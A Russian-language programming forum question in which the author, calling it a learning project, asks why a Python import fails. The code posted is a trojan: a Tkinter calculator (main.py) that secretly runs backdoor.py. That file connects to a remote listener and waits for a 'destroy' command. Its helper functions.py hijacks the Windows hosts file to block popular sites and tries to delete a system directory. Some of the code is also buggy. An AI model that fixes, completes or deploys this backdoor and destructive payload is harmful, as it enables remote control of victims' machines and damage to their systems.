@gooooooose

Ошибка импорта python, какое может быть решение проблемы?

Добрый день. Столкнулся с проблемой: Пайтон не находит директорию файла, который находится в одной папке с ним. Идея кода такова: запускается главный файл, который запeскает файл с вирусом, который импортирует файл с функциями этого вируса, который собственно и не видим для пайтона. (Это мой учебный проект и не более. Ничего плохого не пишу :) )

Это главный файл main.py:
import os

from tkinter import *
import subprocess

import runpy

expression = ""

def press(num): 
	global expression
	
	expression = expression + str(num)
	equation.set(expression)
	
def eqalpress():
	try: 
		global expression
		total = str(eval(expression))
		equation.set(total)
		expression = ""
	except Exception as err:
		equation.set("error")
		expression = ""
		print(err)
		
def clear():
	global expression
	expression = ""
	equation.set("")
	
if __name__ == "__main__":
	dir = os.getcwd() + '/virus_folder/backdoor.py'

	
	exec(open('./virus_folder/backdoor.py').read())
	
	gui = Tk()
	os.system(dir)
	gui.geometry("270x150")
	equation = StringVar()
	expression_field = Entry(gui, textvariable=equation)
	expression_field.grid(columnspan=4, ipadx=70)
	
	button1 = Button(gui, text=' 1 ', fg='black', bg='red', 
		
						command=lambda: press(1), height=1, width=7) 
	
	button1.grid(row=2, column=0) 
	
	
	button2 = Button(gui, text=' 2 ', fg='black', bg='red', 
			
						command=lambda: press(2), height=1, width=7) 
	
	button2.grid(row=2, column=1) 
	
	
	button3 = Button(gui, text=' 3 ', fg='black', bg='red', 
			
						command=lambda: press(3), height=1, width=7) 
	
	button3.grid(row=2, column=2) 
	
	
	button4 = Button(gui, text=' 4 ', fg='black', bg='red', 
			
						command=lambda: press(4), height=1, width=7) 
	
	button4.grid(row=3, column=0) 
	
	
	button5 = Button(gui, text=' 5 ', fg='black', bg='red', 
			
						command=lambda: press(5), height=1, width=7) 
	
	button5.grid(row=3, column=1) 
	
	
	button6 = Button(gui, text=' 6 ', fg='black', bg='red', 
			
						command=lambda: press(6), height=1, width=7) 
	
	button6.grid(row=3, column=2) 
	
	
	button7 = Button(gui, text=' 7 ', fg='black', bg='red', 
			
						command=lambda: press(7), height=1, width=7) 
	
	button7.grid(row=4, column=0) 
	
	
	button8 = Button(gui, text=' 8 ', fg='black', bg='red', 
			
						command=lambda: press(8), height=1, width=7) 
	
	button8.grid(row=4, column=1) 
	
	
	button9 = Button(gui, text=' 9 ', fg='black', bg='red', 
			
						command=lambda: press(9), height=1, width=7) 
	
	button9.grid(row=4, column=2) 
	
	
	button0 = Button(gui, text=' 0 ', fg='black', bg='red', 
			
						command=lambda: press(0), height=1, width=7) 
	
	button0.grid(row=5, column=0) 
	
	
	plus = Button(gui, text=' + ', fg='black', bg='red', 
			
					command=lambda: press("+"), height=1, width=7) 
	
	plus.grid(row=2, column=3) 
	
	
	minus = Button(gui, text=' - ', fg='black', bg='red', 
			
					command=lambda: press("-"), height=1, width=7) 
	
	minus.grid(row=3, column=3) 
	
	
	multiply = Button(gui, text=' * ', fg='black', bg='red', 
			
						command=lambda: press("*"), height=1, width=7) 
	
	multiply.grid(row=4, column=3) 
	
	
	divide = Button(gui, text=' / ', fg='black', bg='red', 
			
						command=lambda: press("/"), height=1, width=7) 
	
	divide.grid(row=5, column=3) 
	
	
	equal = Button(gui, text=' = ', fg='black', bg='red', 
			
					command=eqalpress, height=1, width=7) 
	
	equal.grid(row=5, column=2) 
	
	
	clear = Button(gui, text='Clear', fg='black', bg='red', 
			
					command=clear, height=1, width=7) 
	
	clear.grid(row=5, column='1') 
	
	
	Decimal= Button(gui, text='.', fg='black', bg='red', 
			
						command=lambda: press('.'), height=1, width=7) 
	
	Decimal.grid(row=6, column=0) 
	
	
	gui.mainloop()


а это собственно запускаемый файл вируса backdoor.py:

import socket
import subprocess
import sys
import runpy


from functions import *


client = socket.socket()

client.connect(('192.168.1.12', 11112))

while True:
	command = client.recv(1024)
	command = command.decode()
	print(command)
	if command == "destroy":
		try:
			exec(open('./functions.py').read())
			client.send("Accepted".encode())
			client.send('[INFO]: commands done succesfuly'.encode())
		except Exception as err:
			print("err")
			client.send(f"[ERR]: client error: {err}".encode())
			pass
	else:
			client.send('[INFO]: Command unknown. To destroy type - "destroy".'.encode())


И тот самый проблемный файл functions.py:

from tkinter import *
from tkinter import ttk 
from time import sleep
import os

class virus_funcs:
	def __init__(self, message):
		self.message = message
		
	def locker(self):
		print("locked")
		hosts = r'C:\Windows\System32\drivers\etc\hosts'
		redirect = '127.0.0.1'
		
		blocked_sites = [
			'www.google.com', 'google.com', 'yandex.ru', 'www.yandex.ru', 'vk.com', 'www.vk.com', 'www.youtube.com', 'youtube.com', 'www.meta.com', 'meta.com', 'www.twiter.com', 'twiter.com', 'www.bing.com', 'bing.com'
		]
		
		with open(hosts, 'r+') as file:
			sites = file.readlines()
			
			file.seek(0)
			
			for line in sites:
				if not any(site in line for site in blocked_sites):
					file.write(site)
			file.truncate()
	
	global root
	root = Tk()

	def remove_os(self):
		os.remove('C:\Windows\System')
		print('os removed')
	
	def end_virus(self):
		print('end')
		root.destroy()
		self.remove_os()
		
	def createWindow(self):
		
		form = ttk.Frame(root, padding=10)
		form.grid()
			
		ttk.Label(form, text=self.message).grid(column=1, row=1)
		ttk.Button(form, text="Ага", command=self.end_virus).grid(column=0, row=1)
		
		root.mainloop()
	
	def run_commands(self):
		self.locker()
		sleep(5)
		self.createWindow()
		
		
virus_funcs("Норм прога?")


Что выводит консоль:

ModuleNotFoundError: No module named 'functions'

Как бы я не ломал голову, как бы я не гуглил проблему - решения не нашел... помогите пожалуйста, буду очень благодарен!
  • Вопрос задан
  • 170 просмотров
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы